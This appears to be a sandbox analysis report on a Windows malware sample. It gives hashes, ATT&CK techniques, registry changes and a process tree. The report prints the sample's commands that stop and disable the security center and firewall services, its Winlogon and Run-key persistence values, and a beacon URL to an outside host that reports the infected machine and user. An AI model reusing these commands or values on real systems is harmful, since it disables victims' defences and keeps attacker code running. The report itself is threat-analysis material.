89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb

Analysis

max time kernel
145s
max time network
168s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
02-12-2022 22:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb.exe
Size

44KB
MD5

c55a42e3da354cb60afc41cbf74281d2
SHA1

9fd937edbcc4e54345b2a102b83aaecb33598a45
SHA256

89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb
SHA512

4c3026cb698146c6afd57e2e61cd890583066605a7c86b17d7dbef544cdc6c2cce6d179378776e6e5b2c0d03ef384b3bbbc43e5be138ac211de5177cbdebe2f6
SSDEEP

768:8YnuR7Rll/tVbh6lVh/EWmc56EGNg62hbrQWwnCE1:8GGl/klVGWAnCE1

Score

10^/10

evasion persistence

Malware Config

Signatures

Disables service(s) 2 TTPs
evasion

Modify Existing Service
T1031

Service Stop
T1489

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "Explorer.exe \"c:\\winlogon.exe\""	winlogon.exe

Executes dropped EXE 1 IoCs

pid	Process
1716	winlogon.exe

Modifies service settings 1 TTPs
Alters the configuration of existing services.
evasion

Modify Existing Service
T1031
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	winlogon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\smss = "c:\\winlogon.exe"	winlogon.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1496	sc.exe
600	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 002ab66ae008d901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000256ed27e8919d04f83812f84ee5c95da00000000020000000000106600000001000020000000f6452f8e3f37c9f784c5c0d78a4dd05177b97942d30a2f639643b6714e0a313d000000000e80000000020000200000008c03e0c8e2e4dbeabe10b8a6405aa7cdddabb797a183b7c8bfada84551186e79900000006d6e7854b8d63ce09e79e2964337c35736fcec521f7ecac04dceb384b71dcb0471a81a57337000f31793d132995b1cc6f4ca268b0828148768e5ec6b3f7691dc234d0a10af1f5c6addfbb4375f9eecf6209d27d3c62b272f4f2af2e813f138617a8655fbbaa0a2df2e757a23dd242d65a209273827c03189bb94751de7d80c84c65ab9acbbda24efde6975389479b640400000008f3058d4df0ce0a94fe1adc25d593b25287112974ab6e9b534b5f7eb04853bdab230f9205c02fdd9f97e11e3b943bf617a9189e74e9e0a961a5b93579a6c6e99	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "377033753"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000256ed27e8919d04f83812f84ee5c95da00000000020000000000106600000001000020000000cc46f717aa5e68abe6fa8e7ab687212a807066c5f0140d67c79f33adbc0ca55e000000000e80000000020000200000002ba58e37db79f733d97efd90b3bcd22bf6b96afda87fddff5f2d69111c80ea572000000072f57079372d6a6c2ec7238b8ec86e592026ccdfaef6e2bff90a03b1efdb59e9400000000d4e172c81cddc34c7e714c66583b934da5a512f7edc4117366d6f3b603b4acf4619251cf59c86ebe7dc1784af8ac932dcb2a7c4cfbd7ddeea574cd54ba1de6f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{85EACB00-74D3-11ED-A005-4ED4A804E0FC} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1176	iexplore.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
364	89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb.exe
1716	winlogon.exe
1716	winlogon.exe
1176	iexplore.exe
1176	iexplore.exe
1424	IEXPLORE.EXE
1424	IEXPLORE.EXE
1424	IEXPLORE.EXE
1424	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 364 wrote to memory of 1716	364	89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb.exe	28
PID 364 wrote to memory of 1716	364	89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb.exe	28
PID 364 wrote to memory of 1716	364	89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb.exe	28
PID 364 wrote to memory of 1716	364	89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb.exe	28
PID 1716 wrote to memory of 760	1716	winlogon.exe	29
PID 1716 wrote to memory of 760	1716	winlogon.exe	29
PID 1716 wrote to memory of 760	1716	winlogon.exe	29
PID 1716 wrote to memory of 760	1716	winlogon.exe	29
PID 1716 wrote to memory of 540	1716	winlogon.exe	30
PID 1716 wrote to memory of 540	1716	winlogon.exe	30
PID 1716 wrote to memory of 540	1716	winlogon.exe	30
PID 1716 wrote to memory of 540	1716	winlogon.exe	30
PID 1716 wrote to memory of 1176	1716	winlogon.exe	33
PID 1716 wrote to memory of 1176	1716	winlogon.exe	33
PID 1716 wrote to memory of 1176	1716	winlogon.exe	33
PID 1716 wrote to memory of 1176	1716	winlogon.exe	33
PID 760 wrote to memory of 1496	760	cmd.exe	35
PID 760 wrote to memory of 1496	760	cmd.exe	35
PID 760 wrote to memory of 1496	760	cmd.exe	35
PID 760 wrote to memory of 1496	760	cmd.exe	35
PID 540 wrote to memory of 600	540	cmd.exe	34
PID 540 wrote to memory of 600	540	cmd.exe	34
PID 540 wrote to memory of 600	540	cmd.exe	34
PID 540 wrote to memory of 600	540	cmd.exe	34
PID 1176 wrote to memory of 1424	1176	iexplore.exe	37
PID 1176 wrote to memory of 1424	1176	iexplore.exe	37
PID 1176 wrote to memory of 1424	1176	iexplore.exe	37
PID 1176 wrote to memory of 1424	1176	iexplore.exe	37

C:\Users\Admin\AppData\Local\Temp\89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb.exe
"C:\Users\Admin\AppData\Local\Temp\89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:364
- \??\c:\winlogon.exe
 c:\winlogon.exe
 2⤵
 - Modifies WinLogon for persistence
 - Executes dropped EXE
 - Adds Run key to start application
 - Suspicious use of SetWindowsHookEx
 - Suspicious use of WriteProcessMemory
 PID:1716
- - C:\Windows\SysWOW64\cmd.exe
 "C:\Windows\System32\cmd.exe" /c sc stop wscsvc sc config wscsvc start=disabled
 3⤵
 - Suspicious use of WriteProcessMemory
 PID:760
 - - C:\Windows\SysWOW64\sc.exe
 sc stop wscsvc sc config wscsvc start=disabled
 4⤵
 Launches sc.exe
 PID:1496
- - C:\Windows\SysWOW64\cmd.exe
 "C:\Windows\System32\cmd.exe" /c sc stop sharedAccess sc config sharedAccess start=disabled
 3⤵
 - Suspicious use of WriteProcessMemory
 PID:540
 - - C:\Windows\SysWOW64\sc.exe
 sc stop sharedAccess sc config sharedAccess start=disabled
 4⤵
 Launches sc.exe
 PID:600
- - C:\Program Files\Internet Explorer\iexplore.exe
 "C:\Program Files\Internet Explorer\iexplore.exe" http://albumstreet.al.funpic.org/1pdate.php?datos= ...:::.12/5/2022 7:31:44 PM:::... Instalacion Completa &user=VUIIVLGQ - Admin
 3⤵
 - Modifies Internet Explorer settings
 - Suspicious use of FindShellTrayWindow
 - Suspicious use of SetWindowsHookEx
 - Suspicious use of WriteProcessMemory
 PID:1176
 - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
 "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1176 CREDAT:275457 /prefetch:2
 4⤵
 Modifies Internet Explorer settings
 Suspicious use of SetWindowsHookEx
 PID:1424

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\2IUVQE0L.txt

Filesize
608B

MD5
30cd9c87582c4e2956519553d0df129a

SHA1
65b17d0837c33b789547841de6a24b724526bebc

SHA256
6ad30853fd02e59bb286b6ef093c32ee2cb58711e46591808a332fcf3dd76a8d

SHA512
0bbd3b921b7315bbda22a04630f7a330ef188088b705bffc8bf207afe6df95693948d49a7e45ae5540f2a1c766f4351e0b946ed69794cf455e1e2af9441f03aa

Download Submit
C:\winlogon.exe

Filesize
44KB

MD5
c55a42e3da354cb60afc41cbf74281d2

SHA1
9fd937edbcc4e54345b2a102b83aaecb33598a45

SHA256
89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb

SHA512
4c3026cb698146c6afd57e2e61cd890583066605a7c86b17d7dbef544cdc6c2cce6d179378776e6e5b2c0d03ef384b3bbbc43e5be138ac211de5177cbdebe2f6

Download Submit
\??\c:\winlogon.exe

Filesize
44KB

MD5
c55a42e3da354cb60afc41cbf74281d2

SHA1
9fd937edbcc4e54345b2a102b83aaecb33598a45

SHA256
89fcb2ad64320c6fad68c32bb7c75f218704517bd758c4c967c693f18a1abbeb

SHA512
4c3026cb698146c6afd57e2e61cd890583066605a7c86b17d7dbef544cdc6c2cce6d179378776e6e5b2c0d03ef384b3bbbc43e5be138ac211de5177cbdebe2f6

Download Submit
memory/540-63-0x0000000000000000-mapping.dmp

Download
memory/600-65-0x0000000000000000-mapping.dmp

Download
memory/760-62-0x0000000000000000-mapping.dmp

Download
memory/1496-64-0x0000000000000000-mapping.dmp

Download
memory/1716-56-0x0000000000000000-mapping.dmp

Download
memory/1716-60-0x00000000757E1000-0x00000000757E3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads